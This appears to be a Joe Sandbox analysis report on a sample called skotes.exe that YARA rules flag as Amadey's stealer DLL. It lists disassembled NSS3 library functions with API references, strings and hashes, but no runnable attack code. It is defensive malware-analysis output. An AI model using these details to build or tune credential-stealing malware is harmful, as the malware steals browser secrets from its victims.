Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa20000
File size:	1'925'632 bytes
MD5 hash:	3C271702F5EEBC60E590F6803D8D2238
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.2359164141.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2579030135.0000000000A21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CE86E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD2120,6CE87E60), ref: 6CE86EBC
TlsGetValue.KERNEL32 ref: 6CE86EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE86EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE86F25

Part of subcall function 6CE5A900: TlsGetValue.KERNEL32(00000000,?,6CFD14E4,?,6CDF4DD9), ref: 6CE5A90F
Part of subcall function 6CE5A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE5A94F

PR_Unlock.NSS3 ref: 6CE86F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE86FA9
TlsGetValue.KERNEL32 ref: 6CE870B4
EnterCriticalSection.KERNEL32(?), ref: 6CE870C8
PR_CallOnce.NSS3(6CFD24C0,6CEC7590), ref: 6CE87104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE87117
SECOID_Init.NSS3 ref: 6CE87128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE8714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE8717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE871A9
PR_NotifyAllCondVar.NSS3 ref: 6CE871CF
PR_Unlock.NSS3 ref: 6CE871DD
free.MOZGLUE(?), ref: 6CE871EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE87208
free.MOZGLUE(00000000), ref: 6CE87221
free.MOZGLUE(00000001), ref: 6CE87235
TlsGetValue.KERNEL32 ref: 6CE8724A
EnterCriticalSection.KERNEL32(?), ref: 6CE8725E
PR_NotifyCondVar.NSS3 ref: 6CE87273
PR_Unlock.NSS3 ref: 6CE87281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE87291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE872E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE87372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFC0148,,defaultModDB,internalKeySlot), ref: 6CE874CC
free.MOZGLUE(00000000), ref: 6CE87513
free.MOZGLUE(00000000), ref: 6CE8751B
free.MOZGLUE(00000000), ref: 6CE87528
free.MOZGLUE(00000000), ref: 6CE8753C
free.MOZGLUE(00000000), ref: 6CE87550
free.MOZGLUE(00000000), ref: 6CE87561
free.MOZGLUE(00000000), ref: 6CE87572
free.MOZGLUE(00000000), ref: 6CE87583
free.MOZGLUE(00000000), ref: 6CE87594
free.MOZGLUE(00000000), ref: 6CE875A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE875BD
free.MOZGLUE(00000000), ref: 6CE875C8
free.MOZGLUE(00000000), ref: 6CE875F1
PR_NewLock.NSS3 ref: 6CE87636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE87686
PR_NewLock.NSS3 ref: 6CE876A2

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE876B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE87707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE8771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE87731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE8774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE87770
free.MOZGLUE(?), ref: 6CE87779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE877AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE877C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE877DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE87821
PORT_Alloc_Util.NSS3(?), ref: 6CE87837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE8785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE8786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE878AC
free.MOZGLUE(00000000), ref: 6CE878BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE878F3
free.MOZGLUE(00000000), ref: 6CE878FC
free.MOZGLUE(00000000), ref: 6CE8791C

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

Spac, xrefs: 6CE87389
NSS Internal Module, xrefs: 6CE874A2, 6CE874C6
dll, xrefs: 6CE8788E
,defaultModDB,internalKeySlot, xrefs: 6CE8748D, 6CE874AA
kbi., xrefs: 6CE87886
dbm:, xrefs: 6CE87716
extern:, xrefs: 6CE8772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE874C7
rdb:, xrefs: 6CE87744
sql:, xrefs: 6CE876FE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 7d272609bb1c1f1bd9a24eadcb415303b82f4dd1ccf70706f2a23b34168dfb1c
Instruction ID: 11d0d8f511e8d384f41fb2d6e8e0b6bfee324733baa1e9312116f4dee2f9a210
Opcode Fuzzy Hash: 7d272609bb1c1f1bd9a24eadcb415303b82f4dd1ccf70706f2a23b34168dfb1c
Instruction Fuzzy Hash: 3B52C0B1F122019BEF119F64DC097AA7BB4AF0630CF254028FD19A7B51E731E955CBA2

Function 6CEABFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CEAC0C8

Part of subcall function 6CF39440: LeaveCriticalSection.KERNEL32 ref: 6CF395CD
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39622
Part of subcall function 6CF39440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF3964E

PR_EnterMonitor.NSS3 ref: 6CEAC0AE

Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF391AA
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39212
Part of subcall function 6CF39090: _PR_MD_WAIT_CV.NSS3 ref: 6CF3926B

Part of subcall function 6CE60600: GetLastError.KERNEL32(?,?,?,?,?,6CE605E2), ref: 6CE60642
Part of subcall function 6CE60600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE605E2), ref: 6CE6065D
Part of subcall function 6CE60600: GetLastError.KERNEL32 ref: 6CE60678
Part of subcall function 6CE60600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE6068A
Part of subcall function 6CE60600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE60693
Part of subcall function 6CE60600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE6069D
Part of subcall function 6CE60600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1DB07238,?,?,?,?,?,6CE605E2), ref: 6CE606CA
Part of subcall function 6CE60600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE605E2), ref: 6CE606E6

PR_EnterMonitor.NSS3 ref: 6CEAC0F2
PR_ExitMonitor.NSS3 ref: 6CEAC10E
PR_ExitMonitor.NSS3 ref: 6CEAC081

Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF3945B
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39479
Part of subcall function 6CF39440: EnterCriticalSection.KERNEL32 ref: 6CF39495
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF394E4
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39532
Part of subcall function 6CF39440: LeaveCriticalSection.KERNEL32 ref: 6CF3955D

PR_EnterMonitor.NSS3 ref: 6CEAC068

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CE60600: GetProcAddress.KERNEL32(?,?), ref: 6CE60623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CEAC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CEAC183
free.MOZGLUE(00000000), ref: 6CEAC18E
PR_LoadLibrary.NSS3(?), ref: 6CEAC1A3
PR_EnterMonitor.NSS3 ref: 6CEAC1D4
PR_ExitMonitor.NSS3 ref: 6CEAC1F3
PR_CallOnce.NSS3(6CFD2318,6CEACA70), ref: 6CEAC210
PR_EnterMonitor.NSS3 ref: 6CEAC22B
PR_ExitMonitor.NSS3 ref: 6CEAC247
PR_EnterMonitor.NSS3 ref: 6CEAC26A
PR_ExitMonitor.NSS3 ref: 6CEAC287
PR_UnloadLibrary.NSS3(?), ref: 6CEAC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CEAC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEAC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CEAC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CEAC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CEAC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CEAC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CEAC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CEAC8D5
free.MOZGLUE(00000000), ref: 6CEAC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEAC9E5
free.MOZGLUE(00000000), ref: 6CEACA5A

Strings

NSS_DEBUG_PKCS11_MODULE, xrefs: 6CEAC38D
PKCS 11, xrefs: 6CEAC2F9, 6CEAC314
FC_GetInterface, xrefs: 6CEAC054
NSC_ModuleDBFunc, xrefs: 6CEAC0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CEAC77D
NSS_DISABLE_UNLOAD, xrefs: 6CEAC7B0
NSC_GetInterface, xrefs: 6CEAC04F
FC_GetFunctionList, xrefs: 6CEAC098
NSC_GetFunctionList, xrefs: 6CEAC093
NSS_ReturnModuleSpecData, xrefs: 6CEAC275
nss_mod_log, xrefs: 6CEAC3CC
Vendor NSS FIPS Interface, xrefs: 6CEAC34A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 3236adde3368504de406d8d84dfd1d2b4b6d394378c83b5fcdf1eaf144b3ba59
Instruction ID: 497bb7893aa3536a7db23fdbb6ea782cdbc821be9d91080977c544e7fd7996a5
Opcode Fuzzy Hash: 3236adde3368504de406d8d84dfd1d2b4b6d394378c83b5fcdf1eaf144b3ba59
Instruction Fuzzy Hash: 094281B1F102049FEB44DFA5C847B5A7BB0BB46308F254029E8169FB25E732E956CBD1

Function 6CF83FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF83FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF83FFE
malloc.MOZGLUE(-00000003), ref: 6CF84016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CFBFC62), ref: 6CF8404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF8407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF840A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF840D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84112
malloc.MOZGLUE(00000000), ref: 6CF8411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF8414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84160
free.MOZGLUE(?), ref: 6CF8416C
malloc.MOZGLUE(?), ref: 6CF841AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF841EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF84520), ref: 6CF84244
GetEnvironmentStrings.KERNEL32 ref: 6CF8424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF84263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF84283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF842B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF842E4
malloc.MOZGLUE(00000002), ref: 6CF842FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF84342
GetStdHandle.KERNEL32(000000F6), ref: 6CF843AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF843B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF843B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF84403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84410

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF8445E
CloseHandle.KERNEL32(?), ref: 6CF8446B
free.MOZGLUE(?), ref: 6CF84482
free.MOZGLUE(00000000), ref: 6CF84492
free.MOZGLUE(00000000), ref: 6CF844A4
GetLastError.KERNEL32 ref: 6CF844B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF844BE
free.MOZGLUE(?), ref: 6CF844C7
free.MOZGLUE(00000000), ref: 6CF844D5
free.MOZGLUE(00000000), ref: 6CF844EA

Strings

D, xrefs: 6CF84396
=, xrefs: 6CF844F8
NSPR_INHERIT_FDS=, xrefs: 6CF841E9

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: d5028bdfe7a1fdf4b5c3f3fddf14d142048c8ea925915b10a9ea21a876b13594
Instruction ID: b8e22b96b0404a27733ea1fc5cedda63940d073a658e12fd8db8ff8c8a6c55cf
Opcode Fuzzy Hash: d5028bdfe7a1fdf4b5c3f3fddf14d142048c8ea925915b10a9ea21a876b13594
Instruction Fuzzy Hash: 69022571E063119FEB10CF69C8647AFBFB8AF16308F244128DC66A7B41D731A905CB91

Function 6CE96D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF9A8EC,0000006C), ref: 6CE96DC6
memcpy.VCRUNTIME140(?,6CF9A958,0000006C), ref: 6CE96DDB
memcpy.VCRUNTIME140(?,6CF9A9C4,00000078), ref: 6CE96DF1
memcpy.VCRUNTIME140(?,6CF9AA3C,0000006C), ref: 6CE96E06
memcpy.VCRUNTIME140(?,6CF9AAA8,00000060), ref: 6CE96E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE96E38

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE96E76
TlsGetValue.KERNEL32 ref: 6CE9726F
EnterCriticalSection.KERNEL32(?), ref: 6CE97283

Strings

!, xrefs: 6CE97123

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 88d63d9f75864cabe302accf7e33f4db927ef6e8607c4c011b66f8ba539d2726
Instruction ID: ac4de55b0e2dba35492c94556c81296f3509af6d5b1f930650b93cd29fddfb68
Opcode Fuzzy Hash: 88d63d9f75864cabe302accf7e33f4db927ef6e8607c4c011b66f8ba539d2726
Instruction Fuzzy Hash: A5728075D052189FDF60DF28CC8879ABBB5AF49308F2441A9D80DA7701E731AA89CF91

Function 6CE03C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CE03D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE04052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CE0410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0449C

Strings

database corruption, xrefs: 6CE04490, 6CE044F4, 6CE04599, 6CE04764, 6CE04804
%s at line %d of [%.10s], xrefs: 6CE04495, 6CE044F9, 6CE0459E, 6CE04769, 6CE04809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE04452, 6CE04486, 6CE044EA, 6CE04571, 6CE04580, 6CE0458F, 6CE0475A, 6CE047FA

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: c21f29a172ccdc07987e7deb1221ae8bc3b6f5f73ffa9931b1c5a0dac926ed1a
Instruction ID: 85db6c3e111cbb61406b53aaf7159f2479938cc104384d3c3db4ee12187c1532
Opcode Fuzzy Hash: c21f29a172ccdc07987e7deb1221ae8bc3b6f5f73ffa9931b1c5a0dac926ed1a
Instruction Fuzzy Hash: A2829A75B002159FCB04CF69C580B9AB7B2BF59318F3981AAD805ABB51D731EC52CBE1

Function 6CEDAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEDACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEDACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEDACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEDAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEDADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDADF0

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEDB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEDB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEDB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEDB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDB40C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 0daf8f82bcd923b64b079311a1e1ff03b0ee3178768a20cb892c1a2c1cc95d2e
Instruction ID: 02983415f08eecd586f99c5eb39c272498e7d6406a8b6ec138ea2e7ca399b783
Opcode Fuzzy Hash: 0daf8f82bcd923b64b079311a1e1ff03b0ee3178768a20cb892c1a2c1cc95d2e
Instruction Fuzzy Hash: 6522AD71A04301AFE700CF14CC45B9A77B1AF8430CF26856CE8595F7A2E772E95ACB96

